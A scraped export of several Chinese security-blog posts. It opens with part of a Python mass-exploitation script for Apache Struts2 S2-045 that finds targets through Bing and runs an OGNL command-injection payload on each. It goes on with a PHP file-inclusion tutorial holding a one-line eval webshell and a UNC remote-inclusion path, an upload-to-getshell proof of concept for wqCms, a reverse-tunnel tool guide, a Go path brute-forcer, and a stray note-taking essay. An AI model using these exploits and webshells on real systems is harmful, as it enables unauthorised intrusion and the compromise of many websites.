\u0026#34;%{(#nike=\u0026#39;multipart/form-data\u0026#39;).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\u0026#39;com.opensymphony.xwork2.ActionContext.container\u0026#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\u0026#39;echo hereisaexp\u0026#39;).(#iswin=(@java.lang.System@getProperty(\u0026#39;os.name\u0026#39;).toLowerCase().contains(\u0026#39;win\u0026#39;))).(#cmds=(#iswin?{\u0026#39;cmd.exe\u0026#39;,\u0026#39;/c\u0026#39;,#cmd}:{\u0026#39;/bin/bash\u0026#39;,\u0026#39;-c\u0026#39;,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0026#34;, } try: request = requests.post(actionURL, data=data, headers=header, timeout = 10) except: return \u0026#34;None\u0026#34;, \u0026#34;Refused\u0026#34; return request.text, request.status_code def returnURLList(): keywordsBaseURL = \u0026#39;http://cn.bing.com/search?q=\u0026#39; +keyword[sys.argv[1]]+ \u0026#39;\u0026amp;first=\u0026#39; n =0 i = 1 while n \u0026lt; int(sys.argv[2]): baseURL = keywordsBaseURL + str(i) try: req = requests.get(baseURL) soup = BeautifulSoup(req.text, \u0026#34;html.parser\u0026#34;) text = soup.select(\u0026#39;li.b_algo \u0026gt; h2 \u0026gt; a\u0026#39;) if \u0026#39;.action\u0026#39; in keyword[sys.argv[1]]: standardURL = [url[\u0026#39;href\u0026#39;][:url[\u0026#39;href\u0026#39;].index(\u0026#39;.action\u0026#39;)]+\u0026#39;.action\u0026#39; for url in text if \u0026#39;.action\u0026#39; in url[\u0026#39;href\u0026#39;]] elif \u0026#39;.do\u0026#39; in keyword[sys.argv[1]]: standardURL = [url[\u0026#39;href\u0026#39;][:url[\u0026#39;href\u0026#39;].index(\u0026#39;.do\u0026#39;)]+\u0026#39;.do\u0026#39; for url in text if \u0026#39;.do\u0026#39; in url[\u0026#39;href\u0026#39;]] else: standardURL = [url[\u0026#39;href\u0026#39;] for url in text] except: print(\u0026#34;HTTPERROR\u0026#34;) continue i += 10 n += 1 yield standardURL def main(): if len(sys.argv) != 3: print(usage) for k,v in keyword.items(): print(\u0026#34;%s is %s\u0026#34;%(k, v)) sys.exit() for urlList in returnURLList(): for actionURL in urlList: text, code = poc(actionURL) if \u0026#39;hereisaexp\u0026#39; in text: print(str(code) + \u0026#34;----Successful----\u0026#34; + actionURL + \u0026#39;\\n\u0026#39;) with open(\u0026#34;AvailableURL.txt\u0026#34;,\u0026#34;a\u0026#34;) as f: f.write(actionURL+\u0026#39;\\n\u0026#39;) else: print(str(code)+\u0026#39;----\u0026#39;+actionURL+\u0026#39;\\n\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() 下载地址\n打包了win版，大家可以直接使用，例如在该exe目录下执行~~（更新的并未打包出exe，如有需要可以自行用pyinstaller打包）~~\n1 s2-045.exe 9 10 其他用法参照上面 转载请注明出处\n","permalink":"https://www.hacktech.cn/post/2017/03/st2-045-batch-test-tool/","summary":"\u003cp\u003e今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热，个人不太喜欢日站，本来想直接写个批量挂马的东西，但是想想还是算了，如果你有兴趣，改改也很容易，反正不关我的事\u003c/p\u003e\n\u003cp\u003e测试图\n\u003cimg alt=\"TIM图片20170307212124.png\" loading=\"lazy\" src=\"https://ooo.0o0.ooo/2017/03/07/58beb8f48f7df.png\"\u003e\u003c/p\u003e","title":"s2-045漏洞批量检测工具"},{"content":"目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。\n利用方法很简单，我们只要将文件名不可知部分之后的字符用\u0026quot;\u0026lt;\u0026ldquo;或者\u0026rdquo;\u0026gt;\u0026ldquo;代替即可，不过要注意一点是，只使用一个\u0026rdquo;\u0026lt;\u0026ldquo;或者\u0026rdquo;\u0026gt;\u0026ldquo;则只能代表一个字符，如果文件名是12345或者更长，这时候请求\u0026quot;1\u0026lt;\u0026ldquo;或者\u0026quot;1\u0026gt;\u0026ldquo;都是访问不到文件的，需要\u0026quot;1\u0026laquo;\u0026ldquo;才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。\n我们来做个简单的测试，测试代码如下：\n1 2 3 4 5 //1.php \u0026lt;?php include($_GET[\u0026#39;file\u0026#39;]); ?\u0026gt; 再在同目录下新建一个文件名为\u0026quot;123456.txt\u0026quot;的文件，内容为phpinfo()函数，请求/1.php?file=1\u0026lt;\u0026lt;即可包含。 常用的漏洞代码 1 1 2 3 4 5 6 7 \u0026lt;?php if(isset($_GET[page])) { include($_GET[page]); }else{ include \u0026#39;show.php\u0026#39;; } ?\u0026gt; 2 1 2 3 4 5 6 7 \u0026lt;?php if(isset($_GET[page])) { include(\u0026#39;./action/\u0026#39; . $_GET[page]); }else{ include \u0026#39;./action/show.php\u0026#39;; } ?\u0026gt; 3 1 2 3 4 5 6 7 \u0026lt;?php if(isset($_GET[page])) { include(\u0026#39;./action/\u0026#39;. $_GET[page] . \u0026#39;.php\u0026#39;); }else{ include \u0026#39;./action/show.php\u0026#39;; } ?\u0026gt; 相关代码： php中代码： 1 2 3 \u0026lt;?php include($_GET[\u0026#39;file\u0026#39;]); ?\u0026gt; 123456.txt中代码： 1 \u0026lt;?php phpinfo() ?\u0026gt; 123456.TXT里面可以换成一句话木马，代码： 1 \u0026lt;?php eval($_POST[\u0026#34;admin\u0026#34;]) ?\u0026gt; url:http://127.0.0.1/1.php?file=12\u0026laquo; 密码：admin 注意：txt里面书写php代码不能换行写，最好是在同一行书写【原因待查明】\nwindows的文件系统机制引发的PHP路径爆破问题分析 开场白 此次所披露的是以下网页中提出的问题所取得的测试结果：\nhttp://code.google.com/p/pasc2at/wiki/SimplifiedChinese\n1 2 3 4 5 6 7 \u0026lt;?php for ($i=0; $i\u0026lt;255; $i++) { $url = \u0026#39;1.ph\u0026#39; . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) echo chr($i) . \u0026#34; \u0026#34;; } ?\u0026gt; 已知1.php存在，以上脚本访问的结果是：\n1 2 3 4 1.php 1.phP 1.ph\u0026lt; 1.ph\u0026gt; 都能得到返回。 前两种能返回结果是总所周知的（因为windows的文件系统支持大小的互转的机制），另外的两种返回引起了我们的注意。\n测试php版本：PHP4.9,PHP5.2,PHP5.3,PHP6.0\n测试系统：WINXP SP3 X32,WINXP SP2 X64，WIN7,WIN2K3\n经测试我们得出的结论是：该漏洞影响所有的windows+php版本\n深入探查模糊测试的结果 为了继续深入探查关于该bug的信息，我们对demo做了些许修改:\n1 2 3 4 5 6 7 8 9 \u0026lt;?php for ($j=0; $i\u0026lt;256; $j++) { for ($i=0; $i\u0026lt;256; $i++) { $url = \u0026#39;1.p\u0026#39; . chr($j) . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) echo chr($j) . chr($i) . \u0026#34; \u0026#34;; } } ?\u0026gt; 在调试php解释器的过程中，我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile(）所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是，当跟踪函数调用栈的过程中我们发现字符”\u0026gt;”被替换成”?”，字符”\u0026lt;”被替换成”*”，而符号”（双引号）被替换成一个”.”字符。这在2007年msdn公开的文档中被提及：http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3\n但是此bug至今未被任何windows旗下所发行的任何版本修复!\n我们要阐明的是，该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表：\n此外，我们还发现该利用也可以被运用到c++中，以下采用来自msdn的例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include \u0026lt;windows.h\u0026gt; #include \u0026lt;tchar.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; void _tmain(int argc, TCHAR *argv[]){ WIN32_FIND_DATA FindFileData; HANDLE hFind; if( argc != 2 ){ _tprintf(TEXT(\u0026#34;Usage: %s [target_file] \u0026#34;), argv[0]); return; } _tprintf (TEXT(\u0026#34;Target file is %s \u0026#34;), argv[1]); hFind = FindFirstFile(argv[1], \u0026amp;FindFileData); if (hFind == INVALID_HANDLE_VALUE){ printf (\u0026#34;FindFirstFile failed (%d) \u0026#34;, GetLastError()); return; }else{ _tprintf (TEXT(\u0026#34;The first file found is %s \u0026#34;), FindFileData.cFileName); FindClose(hFind); } } 当传入参数”c:o\u0026lt;”时，成功访问到boot.ini文件。\n利用方法总结 当调用FindFirstFile()函数时，”\u0026lt;”被替换成” * ”,这意味该规则可以使”\u0026lt;”替换多个任意字符，但是测试中发现并不是所有情况都如我们所愿。所以，为了确保能够使”\u0026lt;”被替换成”*”,应当采用”\u0026laquo;” 1 EXAMPLE:include(‘shell\u0026lt;\u0026#39;); 或者include(‘shell\u0026lt;\u0026lt;\u0026#39;); //当文件夹中超过一个以shell打头的文件时，该执行取按字母表排序后的第一个文件。 当调用FindFirstFile()函数时，”\u0026gt;”被替换成”?”,这意味这”\u0026gt;”可以替换单个任意字符 1 EXAMPLE：include(‘shell.p\u0026gt;p\u0026#39;); //当文件中超过一个以shell.p?p 通配时，该执行取按字母表排序后的第一个文件。 当调用FindFirstFile()函数时，”””(双引号)被替换成”.” 1 EXAMPLE:include(‘shell”php\u0026#39;); //===\u0026gt;include(‘shell.php\u0026#39;); 如果文件名第一个字符是”.”的话，读取时可以忽略之 1 EXAMPLE：fopen(‘.htacess\u0026#39;); //==\u0026gt;fopen(‘htacess\u0026#39;); //加上第一点中的利用 ==\u0026gt;fopen(‘h\u0026lt;\u0026lt;\u0026#39;); 文件名末尾可以加上一系列的/或者的合集，你也可以在/或者中间加上.字符，只要确保最后一位为”.” 1 EXAMPLE：fopen(“config.ini\\.// ///.”);==\u0026gt; fopen(‘config.ini./..\u0026#39;); ==\u0026gt;fopen(‘config.ini/////.\u0026#39;)==\u0026gt;fopen(‘config.ini…..\u0026#39;) //译者注：此处的利用我不是很理解，有何作用？截断？ 该函数也可以调用以”\\”打头的网络共享文件，当然这会耗费不短的时间。补充一点，如果共享名不存在时，该文件操作将会额外耗费4秒钟的时间，并可能触发时间响应机制以及max_execution_time抛错。所幸的是，该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI（远程文件包含） 1 EXAMPLE：include (‘\\evilservershell.php\u0026#39;); 用以下方法还可以切换文件的盘名 1 include(‘\\.C:myfile.php......D:anotherfile.php\u0026#39;); 选择磁盘命名语法可以用来绕过斜线字符过滤 1 file_get_contents(‘C:boot.ini\u0026#39;); //==\u0026gt; file_get_contents (‘C:/boot.ini\u0026#39;); 在php的命令行环境下（php.exe）,关于系统保留名文件的利用细节 1 2 3 EXAMPLE:file_get_contents(‘C:/tmp/con.jpg\u0026#39;); //此举将会无休无止地从CON设备读取0字节，直到遇到eof EXAMPLE:file_put_contents(‘C:/tmp/con.jpg\u0026#39;,chr(0×07)); //此举将会不断地使服务器发出类似哔哔的声音 更深入的利用方法 除了以上已经展示的方法，你可以用下面的姿势来绕过WAF或者文件名过滤\n请思考该例：\n1 2 3 4 \u0026lt;?php file_get_contents(\u0026#34;/images/\u0026#34;.$_GET[\u0026#39;a\u0026#39;].\u0026#34;.jpg\u0026#34;); //or another function from Table 1, i.e. include(). ?\u0026gt; 访问test.php?a=../a\u0026lt;%00\n可能出现两种结果\nWarning: include(/images/../a\u0026lt;) [function.include]: failed to open stream:Invalid argument in。。。\nWarning: include(/images/../a\u0026lt;) [function.include]: failed to open stream:Permission denied。。\n如果是第一种情况，说明不存在a打头的文件，第二种则存在。\n此外，有记录显示，有时网站会抛出如下错误：\n1 Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied.. 这说明该文件夹下存在一个以上以a打头的文件（夹），并且第一个就是admin_h1d3。\n结论 实验告诉我们，php本身没有那么多的漏洞，我们所看到是：过分的依赖于另一种程序语言（注：如文中的漏洞产自与winapi的一个BUG），并且直接强 制使用，将会导致细微的错误(bug)，并最终造成危害(vul).这样便拓宽了模糊测试的范畴（译者注：并不仅仅去研究web层面，而深入到系统底层），并最终导致IDS，IPS的规则更新。诚然，代码需要保护，需要补丁，需要升级与扩充。但是，这并不是我们真正要去关注的问题。在当下，我认为我们 更谨慎地去书写更多更严厉的过滤规则，正如我们一直在做的一样。任重道远，精益求精。\n因为这是基础应用层的问题，所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明，mysql5并不存在类似的漏洞。但是我们仍认为：类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。\nReferer PHP application source code audits advanced technology:\nhttp://code.google.com/p/pasc2at/wiki/SimplifiedChinese\nMSDN FindFirstFile Function reference:\nhttp://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx\nMSDN comments history:\nhttp://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3\nMSDN article «Naming Files, Paths, and Namespaces»:\nhttp://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx\nTechnet article «Managing Files and Directories»:\nhttp://technet.microsoft.com/en-us/library/cc722482.aspx\nPaper «Technique of quick exploitation of 2blind SQL Injection»:\nhttp://www.exploit-db.com/papers/13696/\n全文完。\n注：该文是2011年底发表的一篇白皮书，至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用，当时便是看的此文，当时只是粗粗读了一下，写了一个php的脚本去跑目录。今回闲来无事，翻译整理了一番。\n文章转自群友\n版权声明： 文章所设计内容包括两部分 一是法师的书籍《代码审计-企业级web代码安全架构》 二是来自群友@evil7提供的资料 以下为资料原文： http://www.169it.com/blog_article/2302639890.html https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki\n","permalink":"https://www.hacktech.cn/post/2017/03/windows-findfirst-exploit/","summary":"\u003cp\u003e目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。\u003c/p\u003e\n\u003cp\u003e利用方法很简单，我们只要将文件名不可知部分之后的字符用\u0026quot;\u0026lt;\u0026ldquo;或者\u0026rdquo;\u0026gt;\u0026ldquo;代替即可，不过要注意一点是，只使用一个\u0026rdquo;\u0026lt;\u0026ldquo;或者\u0026rdquo;\u0026gt;\u0026ldquo;则只能代表一个字符，如果文件名是12345或者更长，这时候请求\u0026quot;1\u0026lt;\u0026ldquo;或者\u0026quot;1\u0026gt;\u0026ldquo;都是访问不到文件的，需要\u0026quot;1\u0026laquo;\u0026ldquo;才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。\u003c/p\u003e","title":"Windows FindFirstFile利用"},{"content":"2017-02-15发布\n一、漏洞利用点 漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点\n二、hack it 三、POC 1 2 3 4 5 6 7 8 9 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026#34;http://127.0.0.1/admin_UploadDataHandler.ashx\u0026#34; method=\u0026#34;POST\u0026#34;enctype=\u0026#34;multipart/form-data\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;uploadify\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;saveFile\u0026#34; value=\u0026#34;admin\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; name=\u0026#34;Upload\u0026#34; value=\u0026#34;Submit Query\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 转自群友论坛文章wobushou\n","permalink":"https://www.hacktech.cn/post/2017/02/wqcms-6.0-iis6-getshell/","summary":"\u003cp\u003e2017-02-15发布\u003c/p\u003e\n\u003ch1 id=\"一漏洞利用点\"\u003e一、漏洞利用点\u003c/h1\u003e\n\u003cp\u003e漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点\u003c/p\u003e","title":"wqCms6.0在IIS6的Getshell"},{"content":"这是一个采用Golang编写的和lcx差不多的端口转发的工具，用来突破内网环境\n项目地址 ooclab/otunnel\n下载地址(内涵各大平台) http://dl.ooclab.com/otunnel/\notunnel 用法 前提：\n假设 server 的地址为 example.com 从 client 能连接 server (client 与 server 无需在同一个网络) 注意 otunnel 程序可以作为 server 和 client 两种角色（运行参数不同）\n快速上手 server 1 ./otunnel listen :10000 -s longlongsecret client 反向代理 举例：将 client 可以访问的 192.168.1.3:22 映射到 server 上的 10022 端口：\n1 ./otunnel connect example.com:10000 -s longlongsecret -t \u0026#39;r:192.168.1.3:22::10022\u0026#39; 现在访问 example.com:10022 即等于访问了 client 内网的 192.168.1.3:22\n正向代理 举例：假设 example.com 的 127.0.0.1:3128 服务（你懂得），在 client 运行：\n1 ./otunnel connect example.com:10000 -s longlonglongsecret -t \u0026#39;f::20080:127.0.0.1:3128\u0026#39; 现在 client 的 20080 端口， 等于访问 example.com 上的 127.0.0.1:3128\n程序用法 -t 格式 包含多个字段信息，以:隔开(为空的字段也不能省略:)。\n1 代理类型:本地地址:本地端口:远程地址:远程端口 字段 含义 代理类型 r 表示反向代理; f 表示正向代理 本地地址 IP或域名 本地端口 整数 远程地址 IP或域名 远程端口 整数 注意\n本地地址或远程地址如果为空，表示所有网口 otunnel 命令行可以包含多个-t选项，同时指定多条隧道规则 特点及优势 otunnel 是一款对称的安全隧道工具。\n单二进制程序：otunnel 为一个独立的二进制程序，可以作为 server 和 client 端。 支持多操作系统平台：支持GNU/Linux, Unix-like, Mac, Windows，其他如 ddwrt 等 arm 平台。 无需配置文件：命令行使用 对称设计：同时支持 正、反向代理（端口映射） 安全加密：支持 AES 对称加密 ","permalink":"https://www.hacktech.cn/post/2017/02/otunnel-port-forwarding-tool-like-lcx/","summary":"\u003cp\u003e这是一个采用Golang编写的和lcx差不多的端口转发的工具，用来突破内网环境\u003c/p\u003e\n\u003ch1 id=\"项目地址\"\u003e项目地址\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/ooclab/otunnel\"\u003eooclab/otunnel\u003c/a\u003e\u003c/p\u003e","title":"otunnel：一个和lcx差不多的端口转发的工具"},{"content":"以前用Python写过这个工具，前两天看了golang的基础，就想着用这个语言把这个工具重写一遍\n先放张图\n用法\n1 2 3 4 5 6 Example : Buster.exe -u=https://www.baidu.com -d=asp.txt -t=5 Buster是你的程序名字 -u后面填网址参数，格式如上 -d选字典 -t是线程数 当你第一次运行请直接在命令行运行你的程序，什么参数都别加，他会有提示信息告诉你怎么做的 话不多说，直接上代码，字典采用的以前搜集的一个珍藏的大字典，跑起来可能耗时比较久，文件外链会放在底下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 package main import ( \u0026#34;bufio\u0026#34; \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;os\u0026#34; \u0026#34;sync\u0026#34; ) var urls chan string var no404URL = make(chan string) var wg sync.WaitGroup //等待goroutine完成 func main() { var baseURL string var dicPath string var threadCount int flag.StringVar(\u0026amp;baseURL, \u0026#34;u\u0026#34;, \u0026#34;https://www.baidu.com\u0026#34;, \u0026#34;website which you want to burst\u0026#34;) flag.StringVar(\u0026amp;dicPath, \u0026#34;d\u0026#34;, \u0026#34;asp.txt\u0026#34;, \u0026#34;dic which you want to use\u0026#34;) flag.IntVar(\u0026amp;threadCount, \u0026#34;t\u0026#34;, 5, \u0026#34;number of Thread\u0026#34;) flag.Parse() if len(os.Args) == 1 { fmt.Println(\u0026#34;------------------------------------\u0026#34;) fmt.Println(\u0026#34; Author | Akkuamn\u0026#34;) fmt.Println(\u0026#34;------------------------------------\u0026#34;) fmt.Println(\u0026#34; Update-v1.0 | 2017-02-07\u0026#34;) fmt.Println(\u0026#34;-------------------------------------\u0026#34;) fmt.Printf(\u0026#34;\\nUsage : \\n\\tExample : %s -u=https://www.baidu.com -d=asp.txt -t=5\\n\\n\u0026#34;, os.Args[0]) fmt.Printf(\u0026#34;View more help via %s -h\\n\\n\u0026#34;, os.Args[0]) listDic(\u0026#34;dic\u0026#34;) } else { dicPath = \u0026#34;./dic/\u0026#34; + dicPath start(baseURL, dicPath, threadCount) wg.Wait() //等待goroutine完成 } } func start(baseURL string, dicPath string, threadCount int) { dicFile, dicError := os.OpenFile(dicPath, os.O_RDONLY, 0) if dicError != nil { fmt.Printf(\u0026#34;\\nOpenFile Error:文件打开出错，请检查字典文件是否存在，或文件名是否准确\\n\u0026#34;) return } defer dicFile.Close() //把处理后的需要爆破的url全部传到信道urls ReturnBurstURL(dicFile, baseURL) //单独开goroutine从信道no404URL取数据写入文件 go func() { resultTxt, err := os.OpenFile(\u0026#34;result.txt\u0026#34;, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0660) if err != nil { fmt.Println(\u0026#34;OpenFile Error:\u0026#34; + err.Error()) } resultWriter := bufio.NewWriter(resultTxt) defer resultTxt.Close() for { _, err = resultWriter.WriteString(\u0026lt;-no404URL) if err != nil { fmt.Println(\u0026#34;resultWriter Error:\u0026#34; + err.Error()) } resultWriter.Flush() } }() //并发访问网址并将状态码不为404的网址加入信道no404URL for i := 0; i \u0026lt; threadCount; i++ { wg.Add(1) go func(i int) { for len(urls) \u0026gt; 0 { url := \u0026lt;-urls status := HTTPStatus(url) fmt.Printf(\u0026#34;[%d]%s-----%s\\n\u0026#34;, i, status, url) if status != \u0026#34;404 Not Found\u0026#34; { no404URL \u0026lt;- status + \u0026#34;-----\u0026#34; + url + \u0026#34;\\n\u0026#34; } } wg.Done() }(i) } } //返回HTTP访问状态码 func HTTPStatus(url string) (status string) { client := http.DefaultClient reqest, err := http.NewRequest(\u0026#34;HEAD\u0026#34;, url, nil) if err == nil { reqest.Header.Set(\u0026#34;User-Agent\u0026#34;, \u0026#34;Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:51.0) Gecko/20100101 Firefox/51.0\u0026#34;) reqest.Header.Set(\u0026#34;Accept\u0026#34;, \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;) response, err1 := client.Do(reqest) if err1 != nil { fmt.Println(\u0026#34;HTTPRequest Error:\u0026#34; + err1.Error()) } defer response.Body.Close() return response.Status } else { fmt.Println(\u0026#34;NewRequest Error:\u0026#34; + err.Error()) return \u0026#34;400 Bad Request\u0026#34; } } //把处理后的需要爆破的url全部传到信道urls func ReturnBurstURL(fURL *os.File, baseurl string) { var urlList []string allURLTxt := bufio.NewScanner(fURL) for allURLTxt.Scan() { newurl := baseurl + \u0026#34;/\u0026#34; + allURLTxt.Text() urlList = append(urlList, newurl) } urls = make(chan string, len(urlList)) for _, url := range urlList { urls \u0026lt;- url } fmt.Printf(\u0026#34;\\n读取字典完成，准备开始，请等待...\\n\u0026#34;) } //罗列出可用字典 func listDic(dicDir string) { dirList, err := ioutil.ReadDir(dicDir) if err != nil { fmt.Println(\u0026#34;ReadDir Error : \u0026#34; + err.Error() + \u0026#34;\\n\u0026#34;) } fmt.Println(\u0026#34;Dic you can select : \u0026#34;) for _, file := range dirList { fmt.Printf(\u0026#34; %s\\n\u0026#34;, file.Name()) } } 只编译了win平台下的，如果有需要可以自行编译\n源码及字典及win程序 密码: g1gd\n","permalink":"https://www.hacktech.cn/post/2017/02/first-practice-for-golang-multithread-website-burster/","summary":"\u003cp\u003e以前用Python写过这个工具，前两天看了golang的基础，就想着用这个语言把这个工具重写一遍\u003c/p\u003e\n\u003cp\u003e先放张图\u003cimg alt=\"演示1.gif\" loading=\"lazy\" src=\"https://ooo.0o0.ooo/2017/03/04/58ba4e8c66d38.gif\"\u003e\u003c/p\u003e","title":"Golang初练手-多线程网站路径爆破"},{"content":"前两天零零碎碎看完了golang的基础，想着找个小项目练练手，可是出现了一个十分棘手的问题 我要做的东西是网站路径爆破 所以我会从文本字典中把一行行路径读取然后与域名拼接，但是我在跑起程序后出现了问题\n下面是一个小片段\n1 2 3 400 Bad Request-----http://www.xxx.com/channel.asp 400 Bad Request-----http://www.xxx.com/index.asp 404 Not Found-----http://www.xxx.com/admin.asp 程序本身并没有错误，但是运行结果就比较怪了 Bad Request? 这并不是我要说的重点，我发现的问题是，除了最后一个地址，前面所有的地址都会显示位400 Bad Request 经过几轮测试，我觉得应该是网址拼接上出了问题\n我的拼接函数是这样\n1 2 3 4 5 6 7 8 9 10 11 12 func ReturnBurstURL(fURL *os.File, baseurl string) (urlList []string) { allURLTxt := bufio.NewReader(fURL) for { urlpath, readerError := allURLTxt.ReadString(\u0026#39;\\n\u0026#39;) newurl := baseurl + strings.Replace(urlpath, \u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;, -1) urlList = append(urlList, newurl) if readerError == io.EOF { fmt.Printf(\u0026#34;\\n读取字典完成，准备开始，请等待...\\n\u0026#34;) return urlList } } } 我把取一行的方式换成bufio.NewScanner就正常了\n1 2 3 4 5 6 7 8 9 func ReturnBurstURL(fURL *os.File, baseurl string) (urlList []string) { allURLTxt := bufio.NewScanner(fURL) for allURLTxt.Scan() { newurl := baseurl + allURLTxt.Text() urlList = append(urlList, newurl) } fmt.Printf(\u0026#34;\\n读取字典完成，准备开始，请等待...\\n\u0026#34;) return urlList } 网上读取文件一行很多人写的文章是第一种方法，但是我也不知道什么问题导致这种情况的发生 我特地去查了查api文档\n1 2 3 4 5 6 7 8 9 10 func NewReader(rd io.Reader) *Reader //NewReader returns a new Reader whose buffer has the default size. func (b *Reader) ReadString(delim byte) (string, error) //ReadString reads until the first occurrence of delim in the input, returning a string containing the data up to and including the delimiter. If ReadString encounters an error before finding a delimiter, it returns the data read before the error and the error itself (often io.EOF). ReadString returns err != nil if and only if the returned data does not end in delim. For simple uses, a Scanner may be more convenient. func NewScanner(r io.Reader) *Scanner //NewScanner returns a new Scanner to read from r. The split function defaults to ScanLines. func (s *Scanner) Scan() bool //Scan advances the Scanner to the next token, which will then be available through the Bytes or Text method. It returns false when the scan stops, either by reaching the end of the input or an error. After Scan returns false, the Err method will return any error that occurred during scanning, except that if it was io.EOF, Err will return nil. Scan panics if the split function returns 100 empty tokens without advancing the input. This is a common error mode for scanners. func (s *Scanner) Text() string //Text returns the most recent token generated by a call to Scan as a newly allocated string holding its bytes. 按照上面的api文档，这两个的区别就是两者在返回string的时候，一个是数据+分隔符，一个是一行的数据，不带分隔符 虽说我第一种方法也用strings.Replace方法把\u0026quot;\\n\u0026quot;替换成了\u0026quot;\u0026ldquo;空字符，但是可能还是有点奇奇怪怪的东西\n转载请注明出处\n","permalink":"https://www.hacktech.cn/post/2017/02/golang-record-two-ways-to-read-a-file-line-problems/","summary":"\u003cp\u003e前两天零零碎碎看完了golang的基础，想着找个小项目练练手，可是出现了一个十分棘手的问题\n我要做的东西是网站路径爆破\n所以我会从文本字典中把一行行路径读取然后与域名拼接，但是我在跑起程序后出现了问题\u003c/p\u003e","title":"Golang踩坑录 两种方式来读取文件一行所导致的问题"},{"content":"我有段时间疯狂使用各类笔记软件，相信什么云记忆，第二大脑之类的说法。后来发现，没啥意义。记多了根本看不完，你在当时没时间看的，过后更没时间看。笔记唯一剩下的作用就是检索，但是你没看过的内容，你又怎么知道要检索啥呢？而且，自己维护的资料库，怎么也没办法跟google的检索比。善用google的搜索规则，比浪费时间剪藏保存一大堆网页有效得多。\n其实滥用或者过分依赖这些笔记软件，最大的坏处是产生了知识增长的错觉。剪藏一篇机器学习的长文，就以为自己的知识增长了，其实只扫了一眼前言。 下载了一系列新框架的开发教程，三分钟热度把开发环境搭建完，跟着第一章跑了个hello world就弃坑了，但还是在欺骗自己，觉得自己已经掌握了，最不济那些教程已经被我收到硬盘里了，要用的时候再翻出来学嘛。而且，这种廉价的获得知识的错觉，带来的成就感比真的花时间去学习还要强，甚至会形成“要开工了-\u0026gt;先了解下业界动态，去各大论坛微博逛一圈-\u0026gt;哇，又有这么多新教程/技巧/开源库，看不过来，先保存到笔记软件 -\u0026gt; 啊，不知不觉居然花了一个小时，不过我又不是打游戏看电影，是在收集知识，对自己还是有帮助的，不算虚度时光吧 -\u0026gt; 